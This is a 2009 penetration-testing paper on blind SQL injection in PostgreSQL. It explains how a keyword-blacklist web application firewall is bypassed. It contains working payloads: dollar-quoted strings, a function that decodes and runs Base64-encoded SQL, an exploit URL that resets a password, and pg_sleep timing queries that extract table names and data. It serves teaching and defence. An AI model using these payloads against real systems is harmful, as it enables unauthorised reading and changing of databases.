Advanced PostgreSQL SQL Injection and Filter Bypass Techniques

INFIGO-TD-2009-04

2009-06-17

Leon Juranić
leon.juranic@infigo.hr

Infigo IS d.o.o.
Horvatovac 20
10000 Zagreb

tel. +385 1 4662 700
fax. +385 1 4662 701
info@infigo.hr
www.infigo.hr

INFIGO
Information security

TABLE OF CONTENTS

1. INTRODUCTION

According to the WhiteHat Website Security Statistics Report from 2009 (available at http://www.whitehatsec.com/home/assets/WPStatsreport_100107.pdf), SQL injection vulnerabilities make up to 17% of all web application vulnerabilities. Besides being very common, SQL injection vulnerabilities typically allow an attacker to read or even modify arbitrary data in the database used by the web application. This increases the risk resulting from such vulnerabilities.

In order to increase the overall security of web applications, companies today often implement web application firewalls or filters. While web application firewalls can indeed stop certain attacks, they are not a complete solution to web application vulnerabilities.

This document demonstrates advanced blind SQL injection vulnerabilities on PostgreSQL databases. The document is result of a penetration test performed on a real system, with real web application firewall protecting a vulnerable web application.

The techniques used for exploitation in this document show how such a web application firewall can be bypassed and data extracted. The rest of the document is organized as follows. Section 2 sets the vulnerable web application and a simulation of a web application firewall based on keywords. Section 3 explains basics of blind SQL injection vulnerabilities. Section 4 shows how a web application firewall described in Section 2 can be bypassed to allow an attacker to issue practically any SQL query. Finally, Section 5 describes how blind SQL injection vulnerabilities can be exploited, with some techniques specific for PostgreSQL databases.

2. VULNERABLE WEB APPLICATION

In order to demonstrate the vulnerability and exploitation techniques, a simple vulnerable web application will be used. The vulnerable web application queries a PostgreSQL database by a user ID in order to retrieve the user's first name, last name and the username. The listing below shows the vulnerable SQL query highlighted in yellow. The ID parameter, used in the `pg_exec()` function is vulnerable to SQL injection attacks. As the application does not print any values retrieved from the database back to the user, this is a case of a blind SQL injection, where the attacker does not directly see results of his queries. Finally, as the ID is a numerical parameter, it does not have to be quoted in the query. This is important as in this case the `magic_quotes` PHP feature does not prevent SQL injection attacks.

The `query.php` script code is displayed below:

```
<?
  include ("sqlinjectionfilter.php");

  if (!isset($_GET['id']))
  {
        exit(0);
  }

  if (SQLInjectionTest($_GET['id']))
  {
        echo "<h1> SQL INJECTION DETECTED!!! </h1>";
        exit(0);
  }

  echo "<hr>";
  $connection = pg_connect("dbname=template1 user=postgres") or
die("Connection failed");

  $myresult = pg_exec($connection, "SELECT * FROM users WHERE
id=" .$_GET['id'] . ";");

/* ...
   ...
   ...
   ...
*/
?>
```

As this document is result of a real penetration test, in which the vulnerable application similar to the one displayed above was protected with a web application firewall, another PHP script has been developed to simulate the web application firewall. The simulation has been implemented as a simple function, `SQLInjectionTest()`.

Similarly to a real web application firewall, this function parses user input and uses a regular expression to determine if it contains an SQL command. If an SQL command has been detected, the script will drop the query and it will never reach the vulnerable function. The `sqlinjectionfilter.php` script, which implements this simple web application firewall, is shown below. The rest of the document describes exploitation techniques that can be used in order to evade such web application firewalls. The attacks used are based on classic blind SQL injection attacks, but further expanded so that some specifics of PostgreSQL implementations are abused.

```
<?
function SQLInjectionTest($checkstring)
{
$sqltest = array ("/SELECT.*FROM.*WHERE/i",
                   "/INSERT.*INTO/i",
                   "/DELETE.*FROM/i",
                   "/UPDATE.*WHERE/i",
                   "/ALTER.*TABLE/i",
                   "/DROP.*TABLE/i",
                   "/CREATE.*TABLE/i",
                   "/substr/i",
                   "/varchar/i",
                   "/or.*\d=\d/i",
                   "/and.*\d=\d/i");

        foreach ($sqltest as $regex)
        {
                if (preg_match($regex, $checkstring))
                {
                        return TRUE;
                }
        }
        return FALSE;
}
?>
```

3. General blind SQL injection attacks

Blind SQL injection vulnerabilities are a special case of standard SQL injection vulnerabilities. Such vulnerabilities happen when an attacker can modify the SQL query that is submitted to the database, but cannot see the query results. In other words, if the SQL query results in an error, the attacker will not see the SQL error as reported by the database. This makes exploitation a bit more difficult. In this case, the attacker has to modify the SQL query that is being injected to include a condition. The final result displayed by the web application depends on the condition. This allows the attacker to retrieve almost arbitrary data from the database just by observing the results displayed by the vulnerable web application.

Depending on the web application, the attacker can sometimes just analyze the results displayed back from the web application as they will be different depending on the injected condition. However, in some other cases, the displayed results will always be the same (i.e. an empty page as no rows have been retrieved from the database); in this case the most commonly used exploitation technique is based on the `SLEEP()` function.

When using the `SLEEP()` function, the attacker modifies the condition so the `SLEEP()` function gets called if the condition has been satisfied. The `SLEEP()` function will pause the SQL query which will introduce a delay in the web application. This delay can be measured by the attacker to determine if the condition was satisfied or not. If the condition was not satisfied, the web application will display the results immediately; otherwise it will be paused by the `SLEEP()` function. By carefully crafting SQL queries the attacker can retrieve arbitrary data from the database even when no results are displayed back.

The following example shows how the `SLEEP()` function is used to determine if any user in table users has same username and password columns:

```
IF ((SELECT * FROM users WHERE UPPER(username) LIKE UPPER(password)))
THEN
       SLEEP 10;
ELSE
       RETURN 0;
```

If the table users contains at least one user account with same username and password fields, the query will be paused for 10 seconds. The query shown above uses the `UPPER()` function which converts the input text field into all upper case characters.

The `SLEEP()` function, or its equivalent depends on the database:

- PostgreSQL – `PG_SLEEP()`
- Microsoft SQL Server – `WAITFOR DELAY 'XX:XX:XX'`
- MySQL – `BENCHMARK()`
- Oracle – `DBMS_LOCK.SLEEP()`

PostgreSQL databases use the CASE clause instead of IF, which is used in other databases. Similarly, PostgreSQL databases also support stacked queries. This allows execution of multiple SQL queries separated by a semicolon. In order to use the example shown above on a PostgreSQL database, it has to be rewritten:

```
SELECT CASE WHEN (SELECT 1 FROM users WHERE UPPER(username) LIKE
UPPER(password)) = 1
THEN
       PG_SLEEP(10)
ELSE
       PG_SLEEP(0)
END;
```

4. FILTER BYPASSING TECHNIQUES

This section contains detailed description of techniques that can be used to bypass filters, such as the simple web application firewall described in section 2.

4.1. DOLLAR-SIGNS

Although the magic quotes feature has been removed from version 6 of PHP, a lot of web applications still depend on it for security. The magic quotes feature calls the `addslashes()` function on every parameter received in GET and POST requests or in the COOKIE parameter. This function adds the backslash (\) character in front of every quote ('), double quote (") or NULL (\0) character detected in the mentioned parameters. This ensures that the user input is properly escaped and disables the attacker from modifying the SQL query and injecting arbitrary contents into the query. An example SQL query used to authorize users of a web application is shown below. The data the attacker entered is highlighted in yellow:

```
SELECT id, username, firstname, lastname, password FROM users WHERE
password='\' OR \'\'=\'';
```

As shown in the example above, every quote character has been escaped with the backslash character by the magic quotes PHP feature. This causes the data the attacker entered to be treated as a text string, no matter if special characters were entered or not. If the magic quotes feature had been turned off, the data the attacker entered would have resulted in a successful SQL query, no matter which username or password the attacker entered. Evading magic quotes in this example is not possible, unless the attacker exploits a vulnerability in the PHP itself, or in PostgreSQL.

A large number of applications also use numeric values in SQL statements. Such values do not have to be enclosed with quotes; this allows the attacker to inject SQL statements without the need to use quotes – in such cases magic quotes will not protect the application against SQL injection attacks. The example below shows the SQL statement used by the `query.php` script. The original parameter (1) has been expanded with an SQL statement to demonstrate the SQL injection vulnerability. This statement will always return true, so the query will return the first record available in the users table (the record with the lowest ID field):

```
SELECT * FROM users WHERE id = 1 OR 1=1;
```

If the magic quotes feature is turned on, the attacker cannot use any quotes in injected SQL statements. In order to evade this protection feature, the attacker must encode strings without using quotes. One possibility is to use a function available in PostgreSQL databases `CHR()`. This function takes one parameter, ASCII value and returns the corresponding character; for example `CHR(65)` returns back A, `CHR(66)` returns back B and so on. By using this function and the concatenate operator (`||`), the attacker can create arbitrary character strings. The example below shows such an SQL statement which returns the character string ABCDEFGH:

```
SELECT CHR(65)||CHR(66)||CHR(67)||CHR(68)||CHR(69)||CHR(70)||CHR(71)||CHR(72
);
```

Besides using the `CHR()` function, starting with version 8 PostgreSQL also supports string quoting with dollar signs ($$), as described at http://www.postgresql.org/docs/8.2/static/sql-syntax-lexical.html, *Dollar-Quoted String Constants*). This allows the attacker string quoting with the dollar sign; the following two strings are treated identically by a PostgreSQL database version 8 or higher: `'TEST'` and $$TEST$$. Considering that magic quotes does not filter dollar signs, this allows the attacker to inject strings into SQL statements without the need to use the `CHR()` function. Such encoding of strings can also be used with web application firewalls that filter other characters, such as the pipe ('|') character.

The following example shows a SELECT statement using a dollar-quoted string constant:

```
SELECT $$DOLLAR-SIGN-TEST$$;
```

Finally, PostgreSQL supports string quoting with tags. Tags have to be defined between the dollar signs ($tag$), as shown in the example below:

```
SELECT $quote$DOLLAR-SIGN-TEST$quote$;
```

This can further help the attacker bypass web application firewalls.

4.2. DATABASE FUNCTIONS

Similarly to most modern RDBMS systems, PostgreSQL also supports user defined functions. Functions can be created with the CREATE FUNCTION statement, with syntax shown below:

```
CREATE [ OR REPLACE ] FUNCTION
    name ( [ [ argmode ] [ argname ] argtype [, ...] ] )
    [ RETURNS rettype ]
  { LANGUAGE langname
    | IMMUTABLE | STABLE | VOLATILE
    | CALLED ON NULL INPUT | RETURNS NULL ON NULL INPUT | STRICT
    | [ EXTERNAL ] SECURITY INVOKER | [ EXTERNAL ] SECURITY DEFINER
    | COST execution_cost
    | ROWS result_rows
    | SET configuration_parameter { TO value | = value | FROM CURRENT }
    | AS 'definition'
    | AS 'obj_file', 'link_symbol'
  } ...
    [ WITH ( attribute [, ...] ) ]
```

In order to create a new function, the user has to define the function name, arguments (both the type and name of each argument), returning value and the language in which the function is implemented. The example below creates a simple function called `AddNumbers()` which takes two numbers as arguments, adds them and returns that value back.

Functions can be created with the `CREATE FUNCTION` statement, with syntax shown below:

```
CREATE FUNCTION AddNumbers (a integer, b integer) RETURNS integer AS $$
BEGIN
      RETURN a + b;
END;
$$ LANGUAGE plpgsql;
```

This function can be subsequently used through a SELECT statement:

```
SELECT AddNumbers(10,20);
```

This query will return the sum of the two arguments, 30.

By creating a new function, in some cases the attacker can bypass web application firewalls or simple filtering scripts, such as the one shown in Section 2. The main approach is to create a special function which will accept an encoded input parameter, decode it and execute it. The simplest way to create such a function is to use Base64 encoding since PostgreSQL has built-in Base64 encoding and decoding functions. After implementing such a function, the attacker can execute arbitrary statements which will bypass keyword based filters since every statement will be Base64 encoded.

In order to decode a Base64 encoded input argument, the attacker can call the `decode()` function provided by the PostgreSQL database. This function takes two arguments, first argument is the encoded string and the second arguments specifies encoding algorithm. The example below shows how the `decode()` function must be called in order to decode the 'Base64 Test' string:

```
SELECT decode ($$QmFzZTY0IFRFU1Q=$$,$$base64$$);
```

The function that takes an encoded input string, decodes it and executes it is shown below. The function takes a Base64 encoded input string and executes it with the `EXECUTE` statement. Notice that the function definition does not use any quotes. This allows it to bypass magic quotes protection, if it is activated on target server.

```
CREATE FUNCTION DecodeAndExecute(character varying) RETURNS integer AS $$
BEGIN
        EXECUTE decode($1, $quote$base64$quote$);
        RETURN 0;
END;
$$ LANGUAGE $$plpgsql$$;
```

Since the dollar-sign quotes are used twice (once in the function declaration and the other time in the string constant supplied to the `decode()` function), the second dollar-sign quote has to be used with a tag, otherwise it will be parsed incorrectly. The input argument for the `DecodeAndExecute()` function is actually of VARCHAR type, however, due to filtering by the script shown in section 2 this keyword cannot be used. However, since VARCHAR is just an alias for `CHARACTER VARYING` in PostgreSQL, this, longer, type name can be successfully used. This example was picked to show how difficult it is to properly create blacklist based keyword filters, which are still used in a lot of web application firewalls.

The created function can now be easily called by the attacker. The example below shows how the attacker calls the created function in order to execute "`UPDATE users SET password ='' WHERE id = 0`" SQL statement, after encoding it with Base64:

```
SELECT
DecodeAndExecute($$dXBkYXRlIHVzZXJzIHNldCBwYXNzd29yZD0nIHdoZXJlIGlkPTA=$$);
```

Since the main SQL statement is Base64 encoded, the filtering script or web application firewall will not detect an SQL injection attack. The attacker can now execute any SQL statements just by Base64 encoding them. The following URL shows how the vulnerable `query.php` script can be called in order to exploit the SQL injection vulnerability:

http://www.victim.com/query.php?id=1;SELECT%20DecodeAndExecute($$dXBkYXRlIHVzZXJzI
HNldCBwYXNzd29yZD0nIHdoZXJlIGlkPTA=$$)

5. EXPLOITING BLIND SQL INJECTION IN POSTGRESQL

The main goal of an SQL Injection attack is to read or modify data stored in the database. However, unless the attacker has some information about the database scheme, he first has to enumerate tables and columns so he can read or modify the data.

This section demonstrates several techniques for retrieving data from a PostgreSQL database.

5.1. IDENTIFICATION OF TABLE AND COLUMN NAMES

As described in section 0, enumeration of tables and columns through blind SQL injection vulnerabilities is based on brute-force attacks. The attacker crafts special SQL statements which repeatedly try to retrieve information about a certain table or column. If the execution of the SQL statement was successful, the answer is delayed with the PG_SLEEP() function; if the execution was unsuccessful the database reports an error. There are various automated tools that can be used for retrieval of data through blind SQL injections. The example below shows several SQL statements that brute force table names; if a table name was guessed the answer is delayed by 10 seconds:

```
SELECT CASE WHEN (SELECT 1 FROM user LIMIT 1)=1 THEN pg_sleep(10) ELSE
       pg_sleep(0) END;
SELECT CASE WHEN (SELECT 1 FROM users LIMIT 1)=1 THEN pg_sleep(10) ELSE
       pg_sleep(0) END;
SELECT CASE WHEN (SELECT 1 FROM group LIMIT 1)=1 THEN pg_sleep(10) ELSE
       pg_sleep(0) END;
SELECT CASE WHEN (SELECT 1 FROM groups LIMIT 1)=1 THEN pg_sleep(10)
       ELSE pg_sleep(0) END;
SELECT CASE WHEN (SELECT 1 FROM passwd LIMIT 1)=1 THEN pg_sleep(10)
       ELSE pg_sleep(0) END;
SELECT CASE WHEN (SELECT 1 FROM password LIMIT 1)=1 THEN pg_sleep(10)
       ELSE pg_sleep(0) END;
```

After the attacker brute-forced table names, columns can be guessed. The following example shows enumeration of column names by using the count() function which counts rows. If the column name was successfully guessed, the answer is delayed by 10 seconds; otherwise the database returns an error (which is hidden by the web application):

```
SELECT CASE WHEN (SELECT count(id) from users)>0 THEN pg_sleep(10) ELSE
       pg_sleep(0) END;
SELECT CASE WHEN (SELECT count(user) from users)>0 THEN pg_sleep(10)
       ELSE pg_sleep(0) END;
SELECT CASE WHEN (SELECT count(login) from users)>0 THEN pg_sleep(10)
       ELSE pg_sleep(0) END;
SELECT CASE WHEN (SELECT count(username) from users)>0 THEN
       pg_sleep(10) ELSE pg_sleep(0) END;
SELECT CASE WHEN (SELECT count(password) from users)>0 THEN
       pg_sleep(10) ELSE pg_sleep(0) END;
```

5.1.1. TABLE DATA RETRIEVAL

After successful enumeration of table and column names, the attacker usually wants to read table (row) data. In order to retrieve table data, the attacker brute forces characters in every row, usually by using the substr() function. The strpos() and get_byte() functions can be used for character retrieval as well, as shown below.

5.1.1.1. Data retrieval with the substr() function

The substr() function is used to select a substring of arbitrary length at a certain offset. The examples below show results of calling the substr() function on input string 'test' with offsets 1-4:

```
t = SELECT (SUBSTR($$test$$, 1, 1));
e = SELECT (SUBSTR($$test$$, 2, 1));
s = SELECT (SUBSTR($$test$$, 3, 1));
t = SELECT (SUBSTR($$test$$, 4, 1));
```

In order to retrieve row data, the attacker has to compare the result of the `substr()` function call with alphanumeric characters (A-Z, a-z, 0-9 and special characters) until the correct character has been guessed. The following example shows the brute forcing process of the first character in column username:

```
SELECT CASE WHEN (SELECT (SUBSTR(username,1,1)) FROM users where id=0)=$$a$$
       THEN PG_SLEEP (10) ELSE PG_SLEEP(0) END;
SELECT CASE WHEN (SELECT (SUBSTR(username,1,1)) FROM users where id=0)=$$b$$
       THEN PG_SLEEP (10) ELSE PG_SLEEP(0) END;
SELECT CASE WHEN (SELECT (SUBSTR(username,1,1)) FROM users where id=0)=$$c$$
       THEN PG_SLEEP (10) ELSE PG_SLEEP(0) END;
SELECT CASE WHEN (SELECT (SUBSTR(username,1,1)) FROM users where id=0)=$$d$$
       THEN PG_SLEEP (10) ELSE PG_SLEEP(0) END;
…
```

The first SQL query shown above tests if the first character of username equals '`a`'. If this is correct, the answer is delayed for 10 seconds; this allows the attacker to determine that the SQL query ran correctly. Otherwise, the query returns immediately and the brute force process continues. The attacker continues the process for the second character and so on, until the complete username has been retrieved. Depending on the web application, database speed and available bandwidth, the whole process can take between one and ten or more minutes.

5.1.1.2. Data retrieval with the strpos() function

If the `substr()` function has been blocked by a filter or web application firewall, two other functions exist that can help an attacker retrieve data from the database by exploiting a blind SQL injection vulnerability. The main difference between the `substr()` and `strpos()` functions is that the `substr()` function returns the character or substring from certain offset while the `strpos()` function returns the position of the character or substring. The position is simply a numerical value; if the character or string was not found `strpos()` returns 0.

The examples below show results of calling the `strpos()` function on input string `'test'` for every single character:

```
1 = SELECT (STRPOS($$test$$, $$t$$));
2 = SELECT (STRPOS($$test$$, $$e$$));
3 = SELECT (STRPOS($$test$$, $$s$$));
1 = SELECT (STRPOS($$test$$, $$t$$));
```

Similarly to the previously described `substr()` function, the `strpos()` function can also be used to exploit blind SQL injection vulnerabilities. However, there are certain issues that the attacker has to solve if using the `strpos()` function. The example above shows that the last SQL query returns value 1 for the character '`t`', instead of the value 4 as expected. The reason for this is that the `strpos()` function stops immediately when a matching character or substring was identified.

The attacker can solve this problem by first enumerating all characters in a string and marking positions that have not been retrieved. For the example above, the position with an unknown character is 4. The attacker then repeats the brute force attack by creating substrings containing already identified values. Again, for the example above, the substring would be `'tes'` (as the fourth character has not been identified). The attacker continues with the brute force attack with strings `'tesa'`, `'tesb'`, `'tesc'` … `'test'`. For all incorrect substrings the `strpos()` function returns 0; only the correct substring returns 1 as it was identified at the beginning of the input string. The attacker continues with this approach until all unknown characters have been identified. Below are shown SQL queries that retrieve the value `'test'` with the `strpos()` function:

```
0 = SELECT STRPOS($$test$$, $$a$$));
0 = SELECT STRPOS($$test$$, $$b$$));
0 = SELECT STRPOS($$test$$, $$c$$));
…
2 = SELECT STRPOS($$test$$, $$e$$));
0 = SELECT STRPOS($$test$$, $$f$$));
0 = SELECT STRPOS($$test$$, $$g$$));
…
3 = SELECT STRPOS($$test$$, $$s$$));
1 = SELECT STRPOS($$test$$, $$t$$));
0 = SELECT STRPOS($$test$$, $$u$$));
…
```

After the queries shown above the attacker knows that the first three characters are `'tes'`. The brute force process continues with this substring until the `strpos()` function returns 1.

```
0 = SELECT STRPOS($$test$$, $$tesa$$));
0 = SELECT STRPOS($$test$$, $$tesb$$));
0 = SELECT STRPOS($$test$$, $$tesc$$));
…
1 = SELECT STRPOS($$test$$, $$test$$));
…
```

In order to retrieve rows from tables, if/then statements have to be used. The following example shows retrieval of the username row from table users by brute forcing all characters:

```
SELECT CASE WHEN (STRPOS((SELECT username FROM users WHERE id=0), $$a$$))=1
       THEN PG_SLEEP(10) ELSE PG_SLEEP(0) END;
SELECT CASE WHEN (STRPOS((SELECT username FROM users WHERE id=0), $$a$$))=2
       THEN PG_SLEEP(10) ELSE PG_SLEEP(0) END;
SELECT CASE WHEN (STRPOS((SELECT username FROM users WHERE id=0), $$a$$))=3
       THEN PG_SLEEP(10) ELSE PG_SLEEP(0) END;
…
SELECT CASE WHEN (STRPOS((SELECT username FROM users WHERE id=0), $$a$$))=
       <MAX_LENGTH> THEN PG_SLEEP(10) ELSE PG_SLEEP(0) END;
…

SELECT CASE WHEN (STRPOS((SELECT username FROM users WHERE id=0), $$b$$))=1
       THEN PG_SLEEP(10) ELSE PG_SLEEP(0) END;
SELECT CASE WHEN (STRPOS((SELECT username FROM users WHERE id=0), $$b$$))=2
       THEN PG_SLEEP(10) ELSE PG_SLEEP(0) END;
SELECT CASE WHEN (STRPOS((SELECT username FROM users WHERE id=0), $$b$$))=3
       THEN PG_SLEEP(10) ELSE PG_SLEEP(0) END;
…
SELECT CASE WHEN (STRPOS((SELECT username FROM users WHERE id=0), $$b$$))=
       <MAX_LENGTH>  THEN PG_SLEEP(10) ELSE PG_SLEEP(0) END;
```

A brute force attack such as this one can be fully automated; several tools are already available that can assist in brute force exploitation of blind SQL Injection vulnerabilities.

Finally, the filter shown in section 2 blocks SQL injection attacks that contain the `WHERE` keyword. In order to bypass this filter a simple modification of the SQL statements shown above can be used. Instead of using the keyword `WHERE`, the attacker can use a combination of `OFFSET` and `LIMIT` keywords. The `OFFSET` keyword defines how many rows should be skipped and the `LIMIT` keyword limits the number of rows returned. The final example below shows how this combination can be used to bypass the filter shown in section 2:

```
SELECT CASE WHEN (STRPOS((SELECT username FROM users OFFSET 0 LIMIT 1),
$$b$$)) = 1
       THEN PG_SLEEP(10) ELSE PG_SLEEP(0) END;
```

5.1.1.3. Data retrieval with the get_byte() function

The `get_byte()` function can be also used for data retrieval, similarly to functions explain in the previous sections. The `get_byte()` function takes two input parameters: a string and a position. It returns the ASCII value of the character at the input position, in decimal. For example, the `GET_BYTE('test', 0)` call returns the value of 116, which is the ASCII value of the character '`t`'. This function can be used similarly to the `substr()` function described in section 5.1.1.1.

6. Conclusion

This document demonstrates some advanced blind SQL injection attacks on PostgreSQL databases as result of a penetration test on a real system. A lot of companies today base security of their application on web application firewalls and filters. By using some advanced attack techniques, this document demonstrates how it is possible to bypass such protection mechanisms. While web application firewalls indeed increase the overall security of web applications, they are not complete solutions to web application security. A web application firewall or filter is no substitution for proper input filtering.